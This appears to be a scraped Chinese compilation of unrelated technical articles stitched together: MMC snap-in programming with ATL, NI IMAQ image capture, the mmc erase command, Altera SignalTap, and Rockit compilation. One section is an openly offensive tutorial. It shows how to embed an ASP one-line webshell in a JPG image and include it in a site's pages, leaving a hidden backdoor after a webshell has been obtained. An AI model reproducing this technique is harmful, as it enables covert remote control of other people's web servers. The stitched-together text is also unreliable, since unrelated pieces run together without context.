用ATL编写MMC Snapin的Sample

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SIMPL Windows基础教程 - 最终版

SIMPL Windows基础教程 - 最终版

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Snap方式的图像采集程序

Snap方式的图像采集程序

Snap方式的图像采集程序第1步:调用IMAQ Init.vi完成图像采集板卡的初始化工作。

第2步:调用IMAQ Create.vi为图像数据创建一个数据缓冲区。

第3步:调用IMAQ Snap.vi从图像采集板卡中读入一帧图像数据,并把它放入先前创建的数据缓冲区中,并放入Image中显示。

第4步:当图像数据缓冲区被释放后,我们在前面板上将看不到采集的图像了,所以特地添加一个人为的延时程序,等待用户停止。

第5步:调用IMAQ Close.vi,释放占有的图像采集板卡。

第6步:调用IMAQ Dispose.vi,释放占有的图像数据缓冲区。

Grab方式的图像采集程序IMAQ Snap.vi运行速度之所以会慢,是因为IMAQ Snap.vi除了实现图像数据采集的操作外,还实现了许多初始化和资源释放的操作。

既然是连续采集,在每次连续采集开始时,仅做一次初始化就可以。

为实现快速的连续图像采集,NI Vision Module提供了两个VI,一个是IMAQ Grab Setup.vi,另一个是IMAQ Grab Acquire.vi。

IMAQ Grab Setup.vi负责每次连续采集前的初始化,IMAQ Grab Acquire.vi专注于图像采集。

第1步:调用IMAQ Init.vi完成图像采集板卡的初始化工作。

第2步:调用IMAQ Grab Setup.vi初始化Grab过程。

第3步:调用IMAQ Create.vi创建图像数据缓冲区。

第4步:调用IMAQ Grab Acquire.vi快速采集图像数据。

第5步:调用IMAQ Close.vi,释放占有的图像采集板卡。

第6步:调用IMAQ Dispose.vi,释放占有的图像数据缓冲区。

使用IMAQ Grab Acquire.vi,采集每帧图像的时间从120ms降到了40ms.相机配置:设置选中哪一种配置,包括出厂配置和三个用户配置。

1 User Set Save 保存上面选项选中的配置,也就是将相机当前的所有参数保存到上面选中的配置中。

mmc erase 命令用法

mmc erase 命令用法

一、MMC 擦除命令的概述MMC(Multimedia Card)是一种存储卡标准,常见于移动设备和数字相机中,用于存储图像、音频和视瓶等多媒体数据。

当需要对MMC存储卡进行擦除操作时,可以使用mmc erase命令来实现。

二、MMC 擦除命令的语法mmc erase 命令的语法格式如下:mmc erase <设备>其中,<设备> 代表要进行擦除操作的MMC设备的路径。

三、MMC 擦除命令的功能mmc erase 命令用于擦除MMC存储卡上的数据,包括文件系统和分区信息。

擦除后,存储卡将被还原为初始状态,所有数据将被清空,并且可以重新进行分区和格式化操作。

四、MMC 擦除命令的注意事项1. 使用mmc erase 命令擦除MMC存储卡上的数据是一个不可逆的操作,一旦擦除完成,数据将无法恢复,请务必在操作前备份重要数据。

2. 在执行mmc erase 命令之前,确保已经对目标MMC设备做好了备份工作,避免因误操作导致数据丢失。

3. 确认要擦除的MMC设备路径,防止误操作导致数据损失。

五、MMC 擦除命令的实例以下是一个使用mmc erase 命令的实例:mmc erase /dev/mmcblk0该命令将擦除路径为/dev/mmcblk0的MMC存储卡上的所有数据,包括文件系统和分区信息。

执行该命令后,存储卡将被还原为初始状态。

六、MMC 擦除命令的使用场景1. 在对MMC存储卡进行重新分区和格式化前,可以使用mmc erase 命令先将存储卡上的数据进行擦除,以确保存储卡处于一个干净的状态。

2. 在需要将MMC存储卡交给他人或进行二次销售前,可以使用mmc erase 命令将存储卡上的数据进行彻底擦除,以保护个人隐私数据不被泄露。

七、总结mmc erase 命令是对MMC存储卡进行擦除操作的工具,能够将存储卡还原为初始状态,清空所有数据。

在使用该命令时,一定要谨慎操作,确保已经做好了数据备份工作。

altera signaltap核例化与使用

altera signaltap核例化与使用

altera signaltap核例化与使用SignalTap是Altera公司提供的一个强大的逻辑分析工具。

它可以用于调试和分析FPGA设计中的信号。

SignalTap提供了FPGA内部信号的实时观察和记录功能,可以用于查看特定信号的波形和统计信息,从而有效地进行调试和分析。

为了方便使用SignalTap,首先需要对其进行核例化。

核例化是在设计中插入一个SignalTap模块,以便于对指定信号进行分析。

下面将详细介绍SignalTap的核例化和使用。

1.核例化SignalTap:a.打开Quartus Prime软件,在项目导航器中选择要核例化SignalTap的设计文件。

b.右键点击设计文件,选择“Start Analysis & Synthesis",进入设计的综合和分析设置。

c.在综合设置对话框中,选择“Add/Remove Assignments",在控制面板中选择“SignalTap II Logic Analyzer",点击“OK"。

d.在SignalTap Logic Analyzer对话框中,选择“Create a new SignalTap II instance"。

e.在SignalTap II Analyzer Instance对话框中,选择要观察的信号和模块,并设置时钟和采样点等参数。

点击“OK"保存设置。

f.回到设计窗口,编译设计文件,核例化SignalTap。

2. SignalTap使用:a.完成核例化后,可以打开SignalTap II Logic Analyzer的视图。

点击菜单栏上的“Tools"并选择“S ignalTap II Logic Analyzer",或者使用快捷键Ctrl+Alt+L。

b.在SignalTap II Logic Analyzer的视图中,可以选择要观察的信号,并设置触发条件和触发位置等参数。

rockit sample编译

rockit sample编译

rockit sample编译
要编译Rockit Sample,首先需要确保你已经安装了Rockit SDK,并且配置了相应的环境变量。

接下来,你需要按照以下步骤进行编译:
1. 打开命令行工具,进入Rockit Sample的根目录。

2. 运行`./build.sh`(Linux/Mac)或者`build.bat`(Windows)来启动编译过程。

3. 等待编译过程完成,期间可能会输出一些编译信息和警告。

4. 一旦编译成功,你就可以在相应的输出目录找到生成的可执行文件或者库文件。

在编译过程中可能会遇到一些依赖项缺失或者环境配置不正确的情况,这时候需要根据具体的错误信息进行调试和解决。

通常情况下,编译过程中的错误信息会指导你去安装缺失的依赖项或者调整环境配置。

另外,Rockit Sample的编译过程可能会因为不同的操作系统或者版本而有所不同,所以在编译之前建议查阅官方文档或者相关的编译指南,以确保按照正确的步骤进行编译。

总的来说,编译Rockit Sample需要一定的编译环境和相关依赖项的支持,同时也需要对编译过程中可能遇到的各种情况有一定的调试和解决能力。

希望以上信息能帮助你顺利地编译Rockit Sample。

一句话木马图片制作(三种方法)

一句话木马图片制作(三种方法)

图片木马制作的三种方法Copy命令制作1.asp内容:打开cmd,数据一下命令:此时打开两个jpg文件,相比:且打开2.jpg可以像1.jpg一样显示图像。

把以下代码放入目标网站,即可按asp执行。

<% #include files=”2.jpg”%>Uedit32(转载):本制作来自于:雪糕。

我们通常在得到webshell之后都想给自己留个后门,等下次或以后有用得到的时候再进来看看。

但如果直接加入一句话木马<%execute request("value")%>到asp文件中时,在该页面上就会有类似如下的错误:Microsoft VBScript 运行时错误错误'800a000d'类型不匹配: 'execute'/news1/show.asp,行 3所以我们就可以开动脑筋了,使用插入一句话木马的图片做我们的后门。

而且我们如果有足够的权限的话(希望网站中的文件可写),就直接把网站原有的图片变成后门,然后在那个asp文件中加入调用图片后门的代码:<!--#include file="图片后门地址"-->这样就没有上面的“类型不匹配: 'execute'”错误了,而且也更好的隐藏了我们的后门。

新挑战始终会伴着新事物的出现而出现,当我们直接将我们的一句话木马的asp文件改成jpg 或gif文件的时候,这个图片文件是打不开的,这又容易被管理员发现。

然后我们就又开始思考并寻找新的方法:制作可以显示图片内容的图片格式后门。

制作步骤:一、前期准备材料:1.一张图片:1.jpg2.一句话木马服务器端代码:<%execute request("value")%>(其他的一句话也行)3.一句Script标签:<SCRIPT RUNAT=SERVER LANGUAGE=JA V ASCRIPT>一句话木马服务器端代码</SCRIPT>4. 调用图片后门代码:<!--#include file="图片地址"-->工具:UltraEdit二、开始制作:1.使用UltraEdit打开1.jpg文件,然后按CTRL +F 进行查找图片中的“<%”和“%>”其中<%的十六进制代码是3E 25,那么%>就应该是25 3E,但是我们只把25改成00;之后我们在新建一个文本编辑窗口,将我们的script标签代码<SCRIPT RUNAT=SERVER LANGUAGE=JA V ASCRIPT><%execute request("value")%></SCRIPT>复制进去,然后点击右键选择十六进制编辑命令,这样会跳转到十六进制数据窗口,复制所有的十六进制的数据,粘贴到1.jpg的十六进制编辑窗口的最下面,说明:为什么要粘贴到最下面?假设你把srcipt标签的十六进制代码粘贴到中间的话,就会破坏图片的完整性,那样下面的图片就看不到了,但是插入的一句话代码还是起作用的。

altera培训Quartus_II_Ver5_v5_0

altera培训Quartus_II_Ver5_v5_0
Copyright © 2005 Altera Corporation 8
Verification Dilemma
Debugging Large FPGAs Is Challenging
− Several Chip Functions Combined onto One Large FPGA − Large BGA Packages with Limited Access to Pins − Limited Availability of Unused I/O Pins − Integrating Microprocessors & IP Cores with Logic Add Complexity − Multiple Devices on PCB to Be Monitored Simultaneously
− Benefits
Performance Preservation Reduction in Compilation Time
− Examples
Incremental Compilation
− Build up an Entire Design Piece by Piece
Team-Based Design
Intellectual Property (IP)
− Signal Processing − Communications − Embedded Processors
Nios® II, Nios
Copyright © 2005 Altera Corporation 4
Tools
− − − − Quartus® II Software SOPC Builder DSP Builder Nios II IDE

ATL基础操作手册

ATL基础操作手册
ATL 基础操作手册
陈喜庆 QQ:31444465
ATL 基础操作手册
《手册》详细描述了 ATL 组件式开发的常用操作,系本人经验和心得的总结和完善。对 于想要了解或刚刚接触 ATL COM 的开发人员具有一定的参考价值。由于时间仓促和本人的经 验有限,疏漏之处在所难免,还望斧正。
在此,非常感谢顾学明和李策在工作和生活上对我的关心和指导。感谢赵宏辉反复细心 地阅读本《手册》,并提出了宝贵的修改意见和建议,他为该手册提供了强有力的技术支持。 感谢景翔和何学洲在平日的工作中给予我莫大的帮助。
methodIndex); [propget, helpstring("property MyProperty")] HRESULT MyProperty([out,
retval] BSTR *pVal); [propput, helpstring("property MyProperty")] HRESULT MyProperty([in] BSTR
删除成员变量
在 ClassView 视图中双击需要删除的成员变量,定位后删除该定义。
8
ATL 基础操作手册
陈喜庆 QQ:31444465
编辑接口成员 添加方法
1. 在 ClassView 视图中右键接口对象,单击“Add Method”;
2. 设置返回值类型、方法名和参数。操作过程中,系统将实时显示出即将生成的接口定义, 即“Implementation”里的内容。
if (Enabled == NULL) return E_POINTER;
return E_NOTIMPL; } 5. 切换至组件类头文件(Zoom.h),删除代码段中的实现体,并在定义最后加上分号,如 下所示: STDMETHOD(get_Enabled)(VARIANT_BOOL * Enabled); 6. 重复上面的步骤,完成 ICommand 接口中其它方法和属性的修改。

altera signaltap核例化与使用 -回复

altera signaltap核例化与使用 -回复

altera signaltap核例化与使用-回复信号Tap是一款由Altera公司开发的逻辑分析仪软件,用于对FPGA设计进行调试、验证和分析。

它提供了一种非常方便的方法来检查和监视FPGA内部信号的变化。

本文将详细介绍如何对SignalTap进行核例化并使用。

一、SignalTap的核例化1. SignalTap的引入和工具链Altera的Quartus Prime软件套件提供了SignalTap的设计和核例化。

在开始使用SignalTap之前,首先需要下载并安装Quartus Prime软件,并验证其正确安装。

2. 设计工程和工程设置在Quartus Prime中创建一个新的项目,并导入FPGA设计文件。

确保你的设计文件已经被编译并在FPGA上烧录。

3. 添加SignalTap IP核在Quartus Prime的项目菜单中,选择"Add/Remove MegaWizard"选项。

在弹出的对话框中,在左侧的IP Catalog窗口中选择"SignalTap II"核,在右侧的"Selected"窗口中点击"Add"按钮。

然后点击"OK"按钮关闭对话框。

4. 配置SignalTap IP核双击添加的SignalTap II核来打开其配置对话框。

在弹出的对话框中可以配置SignalTap II IP核的各种参数,包括采样时钟、采样触发条件等。

根据设计需求进行相应的配置,并点击"OK"按钮保存配置并关闭对话框。

5. 生成新的设计文件在Quartus Prime的菜单中选择"Processing"和"Start SignalTap II HDL design analysis"选项。

然后选择在第3步添加的SignalTap II IP核作为要分析的目标。

ProgrammerNotepad的配置与AVRGCC入门

ProgrammerNotepad的配置与AVRGCC入门

ProgrammerNotepad的配置与AVRGCC入门作者:佚名来源:不详录入:Admin更新时刻:2020-7-26 19:29:16点击数:3【字体:】单片机AVR的编程工具专门多,有C,ASM,PASCAL,BASIC等等。

除ASM由ATMEL公司免费提供外,其它大多数的工具差不多上需要收费的。

而C编译器更是其中收费最高的编译器。

但也有例外,那确实是GCC——它不但免费而且功能也几乎是〝最强〞的。

因此我作为入门者,就开始学习它了!一、单片机编程1、单片机与电脑的编程有些许不同,它除一些必要地算法外,更重要的是对端口的操作。

如开关量采集、开关量操纵输出、模拟量的输入、通讯的操作、显示器与键的操纵等等都需要操作端口。

2、电脑储备永久数据一样都在硬盘等介质中。

而单片机那么存放在EPROM、EEPROM、FLASH等储备器中。

3、通讯接口的编程对单片机来说是至关重要的,专门在工控、网络等的应用中犹为重要。

4、单片机的编程与电脑编程相比有诸多限制。

这就要求编程者对单片机硬件有一定的了解。

二、AVR单片机编程1、AVR单片的硬件:我们以ATMega 16为例为说明一下AVR单片机吧!这是ATMEGA 16的引脚及其功能图(来自其DataSheet)A、从图中我们能够看出有4个8位端口共32个引脚,大多有双重功能。

它们分别命名为PORTA、PORTB、PORTC、PORTD。

B、PORTA具备一般IO口功能外还有AD转换功能,其精度能够达到10位,即采集到的ADC的值最大不超过1023〔0-1023〕,对应别处实际电压值的精度需要一定的简单换算〔要紧看其参考电压〕。

如参考电压为2.5V,那么有2.5V为1023,那么其精度为2.5V/1023确实是0.00244V。

如参考电压为5V,那么有5V/1023也确实是0.0049V。

C、PORTB口除了差不多的IO功能外,专门要提的是PB4、5、6、7的功能,它是SPI〔同步串行接口〕,更重要的是,它能够用来下载程序。

sonic cli常用命令 -回复

sonic cli常用命令 -回复

sonic cli常用命令-回复标题:Sonic CLI常用命令:简化开发过程的利器引言:Sonic CLI(Command Line Interface)是Sonic Pi(一款创新的实时音乐编程软件)提供的命令行工具,用于帮助用户更便捷、高效地进行音乐创作。

本文将详细介绍Sonic CLI的常用命令,并提供一步一步的指导,以助您深入了解和使用这个强大的开发工具。

I. Sonic CLI概述Sonic CLI是Sonic Pi官方提供的命令行工具,用于与Sonic Pi交互、运行代码以及创建、修改和管理音频项目。

其目的是为音乐创作者提供一个便捷而高效的开发环境,帮助用户更轻松地实现音频编程的灵感。

II. 安装Sonic CLI1. 首先,确保您已在计算机上安装了Sonic Pi。

Sonic CLI是作为Sonic Pi 的命令行工具提供的,因此您需要通过以下命令确认是否已经安装Sonic Pi:sonic-pi version2. 如果返回了Sonic Pi的版本号,说明已经安装。

否则,您需要前往SonicPi官方网站(Pi。

III. Sonic CLI常用命令1. sonic-pi- 命令行输入"sonic-pi"后,将启动Sonic Pi的GUI界面,您可以直接在该界面上进行音频编程。

- 这个命令非常方便,特别是对于喜欢可视化界面的用户。

2. sonic-pi-tool- 命令行输入"sonic-pi-tool"后,将启动Sonic Pi的命令行工具,您可以在命令行中直接输入和执行代码,从而更高效地开发音乐项目。

- Sonic Pi命令行工具是开发过程中最常用和最强大的命令之一。

3. play- play命令用于播放音频文件或实时生成的音频片段。

- 使用该命令时,需指定音频文件的路径或音频片段的具体代码。

- 示例:play :C4, attack: 0.1, release: 0.5play "path/to/audio/file.wav"4. sleep- sleep命令用于在代码的执行中引入时间延迟。

simple-scan源码编译方法

simple-scan源码编译方法

编译simple-scan源码的方法1. 简介simple-scan 是一个简单易用的扫描仪应用程序,它可以帮助用户轻松地扫描文档和图片。

如果你对这个应用程序感兴趣,可能会想要了解一下如何编译它的源代码。

本文将介绍编译 simple-scan 源码的具体方法,希望能帮助到有需要的读者。

2. 硬件和软件要求在开始编译 simple-scan 源码之前,你需要确保你的计算机满足以下硬件和软件要求:- 一台安装了 Ubuntu 操作系统的计算机- 一个可用的 C 语言编译器,比如 GCC- GTK+ 库的开发文件- gnomemon 软件包- intltool 软件包3. 下载 simple-scan 源码你需要下载 simple-scan 的源代码。

你可以在其冠方全球信息站或者代码托管评台上找到源代码的下载信息。

下载完成后,解压缩源码包,并进入解压后的目录。

4. 配置源码在终端中进入解压后的simple-scan 目录,运行以下命令来配置源码:```bash./configure```如果一切顺利,你将看到一系列的配置信息输出在终端上。

如果出现错误信息,你需要根据错误信息来安装缺少的开发文件或软件包,并重新运行 `./configure` 命令。

5. 编译源码一旦配置成功,你就可以开始编译 simple-scan 源码了。

在终端中运行以下命令:```bashmake```这将会启动编译过程,将源代码编译成可执行文件。

在编译完成后,你就可以在 simple-scan 目录下找到编译好的可执行文件。

6. 安装 simple-scan最后一步是安装 simple-scan。

在终端中运行以下命令:```bashsudo make install```输入你的密码后,simple-scan 将会被安装到系统中。

一旦安装完成,你就可以在应用菜单中找到 simple-scan,并且运行它了。

总结编译simple-scan 源码并不是一件困难的事情,只要遵循以上的步骤,你就可以成功地编译并安装 simple-scan 到你的系统中。

Windows CMD命令中的音频和视频处理技巧

Windows CMD命令中的音频和视频处理技巧

Windows CMD命令中的音频和视频处理技巧在计算机的日常使用中,我们经常会遇到需要处理音频和视频文件的情况。

虽然有很多专业的软件可以完成这些任务,但是对于一些简单的处理需求,使用Windows CMD命令也是一种快捷而方便的选择。

本文将介绍一些在Windows CMD命令中处理音频和视频的技巧,帮助读者更好地利用计算机资源。

一、音频处理技巧1. 音频格式转换在CMD命令中,我们可以使用FFmpeg命令来进行音频格式的转换。

首先,需要下载并安装FFmpeg工具。

安装完成后,打开CMD命令行窗口,输入以下命令:```ffmpeg -i input.mp3 output.wav```其中,input.mp3是待转换的音频文件,output.wav是转换后的音频文件。

通过这个命令,我们可以将MP3格式的音频文件转换为WAV格式的音频文件,方便后续处理。

2. 音频剪辑有时候,我们需要将一个音频文件中的某个片段提取出来,或者将多个音频文件合并为一个文件。

在CMD命令中,我们可以使用SoX命令来实现这些功能。

首先,需要下载并安装SoX工具。

安装完成后,打开CMD命令行窗口,输入以下命令:```sox input1.wav input2.wav output.wav trim 0 10 : newfile : restart```其中,input1.wav和input2.wav是待剪辑的音频文件,output.wav是剪辑后的音频文件。

通过这个命令,我们可以将input1.wav和input2.wav的前10秒钟提取出来,并保存为output.wav文件。

二、视频处理技巧1. 视频格式转换与音频格式转换类似,我们可以使用FFmpeg命令来进行视频格式的转换。

首先,需要下载并安装FFmpeg工具。

安装完成后,打开CMD命令行窗口,输入以下命令:```ffmpeg -i input.mp4 output.avi```其中,input.mp4是待转换的视频文件,output.avi是转换后的视频文件。

编译sonic的详细步骤

编译sonic的详细步骤

编译sonic的详细步骤要编译SONIC,需要遵循以下步骤:1. 确保你已经安装了必要的软件和工具,包括Docker、Go、Golang、等。

2. 创建一个新的目录,作为编译的根目录。

3. 打开终端,进入该目录。

4. 运行以下命令来克隆SONIC的源代码:```bashgit clone```5. 进入SONIC源代码目录:```bashcd SONIC```6. 确保你的系统满足SONIC的依赖项。

这可能需要安装一些额外的软件包或库。

你可以查看SONIC的文档或构建脚本以了解更多信息。

7. 运行以下命令来构建SONIC:```gomake```这将在源代码目录下生成可执行文件和其他必要的文件。

8. (可选)如果你想安装SONIC,可以运行以下命令:```gosudo make install```这将把可执行文件和其他必要的文件安装到系统的适当位置。

9. 现在你可以运行SONIC了。

你可以使用以下命令启动SONIC:```bash./sonic <arguments>```其中`<arguments>`是可选的命令行参数,用于配置和启动SONIC。

你可以查看SONIC的文档或帮助信息以了解更多关于可用参数的信息。

10. 编译和运行过程可能需要一些时间,具体取决于你的系统性能和网络连接速度。

请耐心等待,并确保在编译过程中没有错误或中断。

11. 一旦编译和运行成功,你就可以开始使用SONIC了。

你可以根据需要进行配置和使用。

mmc文件制作

mmc文件制作

这是一个磁盘映像文件的编辑工具,很小巧,但功能很强,上传的这个版本是带中文语言文件的绿色版本 V8.50,内含注册码。

其实 proteus 的 Card Image File 从名字上就能看出来,就是个映像文件。

使用WinImage,可以从现有的磁盘制作镜像,也可以自己建立镜像,更可以编辑。

这个软件要比用winhex之类的方便多了。

点击此处下载ourdev_538332.zip(文件大小:713K)
winImage --> 新建 --> 最下面的:选择自定义影像格式 --> 根据需要选择分区类型(只有 FAT12/16 和 FAT32 两种),默认为128M。

容量通过修改扇区数来调整,其它参数不熟悉不要乱动。

确定即可。

然后会让你另存为 .IMA 文件,这个是 winImage 自己的扩展名,修改成 mmc 就可以了。

用ATL编写MMCSnapin的Sample

用ATL编写MMCSnapin的Sample

用ATL编写MMCSnapin的SampleMMC相关的编程接口MMC 实现了下面的接口:IColumnData (new in MMC 1.2)IConsole2IConsoleNameSpace2IConsoleVerbIContextMenuCallback IContextMenuProviderIControlbarIDisplayHelpIHeaderCtrl2 (new in MMC 1.2)IImageListIMenuButtonIPropertySheetCallback IPropertySheetProvider IRequiredExtensionsIResultDataIToolbarSnap-ins 实现了下面的接口:IComponentIComponentDataIEnumTASKIExtendContextMenuIExtendControlbar IExtendPropertySheet2IExtendTaskPadIRequiredExtensions IResultDataCompareIResultDataCompareEx (new in MMC 1.2)IResultOwnerDataISnapinAboutISnapinHelp2IComponent接口表示了右边的结果栏(Result pane)里的对象,MMC需要和结果栏里的对象通信时使用这个接口;IComponentData接口表示了左边的目录栏(scopet pane)里的对象(这些对象可以称之为节点),MMC需要和目录栏里的对象通信时使用这个接口;IExtendContextMenu接口,无论用户用鼠标右键点击了左边的节点(scope pane item)还是右边的项(result pane item),MMC都会弹出一个默认的关联菜单,这时MMC会使用这个接口询问该对象(Item),是否需要添加自己的菜单项。

A.O.I程序制作及使用流程(VCTA)

A.O.I程序制作及使用流程(VCTA)

目的本标准明确了A.O.I设备的程序制作重点管理事项,通过此标准的实施确保生产的顺利进行, 达到保证检出力和提高PASS率的目的。

适用范围本标准适用于威海天力电源科技有限公司的所有振华兴A.O.I设备名称的定义AOI的全称是Automatic Optic Inspection(自动光学检测仪),是基于光学原理来对焊接生产中遇到的常见缺陷进行检测的设备。

重点管理项目程序稳定性检测程序的稳定性是AOI的核心,那么定期进行稳定性检测就是非常必要的,检测AOI程序是否稳定的最简单而又有效的方法是:将一块问题PCB板反复检测,看每次检测出的NG数量波动是否过大,其一致性是否良好,也就是AOI的可重复性是多少,一般来讲AOI的可重复性越高,AOI的软件分析处理能力也就越强,软件的稳定性也就越高。

AOI制程简介我公司使用的AOI 设备多为学习型制程方式:这类AOI 在程序编制完成后,要进行一段时间的学习预测,这样让程序自动地寻找待测物的变化规律,从而建立待测物的标准的数学模型,这一过程并不是我们通常认为的单纯的图片叠加,这一过程往往需要二十块以上的PCB 进行学习建库,至少两个小时以上才能完成。

我们这类AOI 的主要缺陷是:在学习过程中,如果将有缺陷的待测物一不小心学习到程序里去了,那么该类待测物的缺陷将被视为良品,从而无法检出。

程序制作过程:调整PCB的固定治具将X/Y 平台回到加载位置,用手松动固定PCB 压扣上的固定螺母,调整活动边夹条,使PCB 板可以放到位置固定而不晃动。

(注意元器件高度不得超过30mm )※ 在测试稳定后突然出现误判多时,主要原因可能是PCB 板未固定好,可通过MARK校正的形式来观察MARK位置及元件框是否偏位,从而排除故障。

操作模式的切换本AOI 应用程序分三种应用模式:管理模式、编辑模式和操作模式:系统默认为操作状态,单击菜单[系统]→[切换测试模式],选择需要进入的模式,输入密码(初始密码为000000),确定后即进入所选择的模式,同时窗口下方状态栏显示现在的操作模式,如图示:5.15.24.14.2文件编号实施日期版次VCTA系列检查机程序制作及使用流程受控号受控状态承认审核担当程序新建单击菜单里的[文件] →点击[新建程序],将出现提示框 ,选择确 定,将会弹出如下窗口,输入程序名称。

altera signaltap ip核例化与使用

altera signaltap ip核例化与使用

Altera(现在由英特尔公司拥有)的SignalTap是一种用于逻辑分析和调试的IP核,用于FPGA设计。

它允许你在FPGA中捕获和分析信号以进行调试。

下面是关于如何实例化和使用Altera SignalTap IP核的一般步骤:1. **打开Quartus Prime**:首先,打开Altera的Quartus Prime集成开发环境(IDE)。

2. **创建一个工程**:创建一个新的FPGA工程或打开现有的工程。

3. **添加SignalTap IP核**:在Quartus Prime中,你可以通过以下步骤添加SignalTap IP 核:- 在"Project"菜单下,选择"Add/Remove MegaWizard Plug-In Manager"。

- 在"MegaWizard Plug-In Manager"对话框中,选择"SignalTap II"。

- 配置SignalTap II,选择你要捕获和分析的信号。

你可以选择要监视的信号,设置触发条件,以及其他配置选项。

4. **生成和编译设计**:确保你的设计和SignalTap IP核都已经添加到工程中,并生成和编译你的FPGA设计。

5. **配置SignalTap II**:在Quartus Prime中,选择"Tools" > "SignalTap II Logic Analyzer"以打开SignalTap II配置界面。

在此界面中,你可以完成以下操作:- 添加捕获点:选择要捕获的信号,并将它们添加到捕获点列表中。

- 配置触发条件:设置触发条件,以确定何时开始捕获信号。

- 配置存储深度:设置存储深度,以确定SignalTap II可以捕获多少时钟周期的数据。

- 配置触发操作:设置触发后要执行的操作,如停止或暂停捕获。

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用ATL编写MMC Snapin的Sample MMC相关的编程接口MMC 实现了下面的接口:IColumnData (new in MMC 1.2)IConsole2IConsoleNameSpace2IConsoleVerbIContextMenuCallbackIContextMenuProviderIControlbarIDisplayHelpIHeaderCtrl2 (new in MMC 1.2)IImageListIMenuButtonIPropertySheetCallbackIPropertySheetProviderIRequiredExtensionsIResultDataIToolbarSnap-ins 实现了下面的接口:IComponentIComponentDataIEnumTASKIExtendContextMenuIExtendControlbarIExtendPropertySheet2IExtendTaskPadIRequiredExtensionsIResultDataCompareIResultDataCompareEx (new in MMC 1.2)IResultOwnerDataISnapinAboutISnapinHelp2IComponent接口表示了右边的结果栏(Result pane)里的对象,MMC需要和结果栏里的对象通信时使用这个接口;IComponentData接口表示了左边的目录栏(scopet pane)里的对象(这些对象可以称之为节点),MMC需要和目录栏里的对象通信时使用这个接口;IExtendContextMenu接口,无论用户用鼠标右键点击了左边的节点(scope pane item)还是右边的项(result pane item),MMC都会弹出一个默认的关联菜单,这时MMC会使用这个接口询问该对象(Item),是否需要添加自己的菜单项。

IExtendControlbar和IExtendPropertySheet2也是类似的道理。

ISnapinAbout实现了一个关于对话框的接口,MMC通过这个接口了解Snapin的版本、描述信息、提供者信息、对话框图标,并且特别重要的是,MMC通过这个接口得到了Snapin 的所有结点、项的默认图标,要修改根结点的图标也可以通过这个函数GetStaticFolderImage 来向MMC提供。

详尽的描述请参考Platform SDK。

Snapin不需要实现全部接口,Sample仅实现了其中的:IComponentIComponentDataIExtendContextMenuIExtendControlbarIExtendPropertySheet2ISnapinAboutMMC的ATL实现支持类简介Sample的模型图ATL实现了几乎全部的接口,提供了默认的处理代码。

ATL Wizzard生成的代码提供了基本的编程框架,Snapin的特性实现依赖于对CmySnapinData的某些函数的重载来修改默认行为。

上图中,CMySnapinComponent的基类IExtendContextMenuImpl,IExtendContextPropertySheet,也同CMySnapin的一样,依赖于对CMySnapinData的几个同名函数的调用,只是因为线条太乱才没有画出。

Snapin DLL Sample的代码生成Step by Step1,新建ATL工程,如果需要使用MFC,可以使用Wizzard选项支持MFC工程命名test6;2,“New ATL Object”,选择“MMC Snapin”;3,命名“MySnapin”,并在第二个属性页“MMC Snapin”上,选择IextendContextMenu,IextendControlbar,IextendPropertySheet,IsnapinAbout;并且去掉对持久性的支持;4,确定后,ATL Wizzard为我们生成了CMySnapin, CCMySnapinComponent, CMySnapinData,CMySnapinAbout,CMySnapinPage;5,编译;然后运行mmc.exe,添加一个管理单元“MySnapin”,另存为MySnapin.msc;代码简介CMySnapin实现了IComponentData,IExtendContextMenu,,IExtendPropertySheet三个接口。

CMySnapinComponent实现了IComponent,IExtendContextMenu,IExtendControlbar,IExtendPropertySheet 四个接口,CMySnapinAbout则实现了ISnapinAbout接口。

DLL向外部暴露了CMySnapin和CMySnapinAbout两个对象。

这样MMC就可以找到ISnapinAbout和IComponentData,IExtendContextMenu,,IExtendPropertySheet三个接口,然后MMC通过IComponentData的CreateComponent方法创建了CMySnapinComponent对象,从而又提供了CMySnapinComponent的IComponent,IExtendContextMenu,IExtendControlbar,IExtendPropertySheet 四个接口。

从图中可以看到,A TL的接口实现类实现了部分方法的默认行为,然后把几个重要方法如Notify等传递到CMySnapinData对象的同名函数,让其继续处理。

CMySnapinData从CSnapinItemImpl继承,CSnapinItemImpl实现了CSnapinItem接口,该接口定义了Item对象(左边的节点(scope pane item)还有右边的项(result pane item))的所有行为。

CMySnapin在构造函数里创建了CMySnapinData作为根结点。

一个Item的所有行为都可以通过重载某些方法来修改默认行为。

比如在根结点下面添加几个子节点,可以在重载的Notify方法中处理MMCN_EXPAND消息等等。

MSDN中的MMC Snap-In WizardMMC Snap-In Wizard讲了MMC Snap-In FAQ:1.How Do I Add a Toolbar Resource to the Snap-In Object?2.How Do I Add Menu Items, Control Bar Buttons, and a Property Sheet to the Snap-InObject?3.How Do I Enumerate the Child Items of the Snap-In Object?4.How Do I Add Custom Item Types to the Snap-In Object?以上内容请自行参考msdn,按照以上的方法,可以做出一个完整功能的Snapin了。

但是,非常遗憾的是,ATL Wizzard提供的无论是菜单、工具栏还是属性页都是所有的Item公用的,无论是Scope Item还是Result Item。

特别是在有多个不同种类的节点的时候,这样几乎是不合适宜的。

按需定制的Item实现QA如何生成子节点(Scope Item)?在按照以上步骤生成代码框架以后,运行MySnapin.msc可以看到只有一个根结点,名字是MySnapin。

修改这个根结点的名字,只需要修改MySnapin.cpp文件中const OLECHAR* CMySnapinData::m_SZDISPLAY_NAME = OLESTR("MySnapin");这一行即可。

前面讲过ATL把Item抽象成CSnapinItem接口,CSnapinItemImpl类实现了这个接口的大部分默认行为,因此,所有的Item都应该从这个类继承。

考虑到CMySnapinData作为我们的根结点,ATL已经为我们生成了一些代码,从CMySnapinData继承是更好的选择。

(能够重用的代码其实只有CMySnapinData构造函数中的初始化代码,不过从CMySnapinData 继承的最大好处是可以将公共的实现放在CMySnapinData类中,而不需要每个Item类都实现一份相同的代码。

),本文将从CMySnapinData类继承,也由于CMySnapinData将作为基类实现,因此,我们需要另外做一个根结点。

接下来我们将生成三个一级子节点,分别为类似“服务”、“事件查看器”、“帐户管理”,然后在“事件查看器”和“帐户管理”中再生成二级子节点,基本上包含了定制菜单、属性页、工具栏等。

分别从CMySnapinData继承,生成CItemRoot, CServicesContainer, CEventsContainer, CAccountsContainer。

注意,在MySnapin.h文件中加入一行#include "test6.h"。

在CMySnapin的构造函数里,我们把根结点改为CItemRoot。

在CItemRoot类中,重载Notify方法,增加代码处理MMCN_EXPAND,这个消息给了我们添加子节点(Scope Item)的机会。

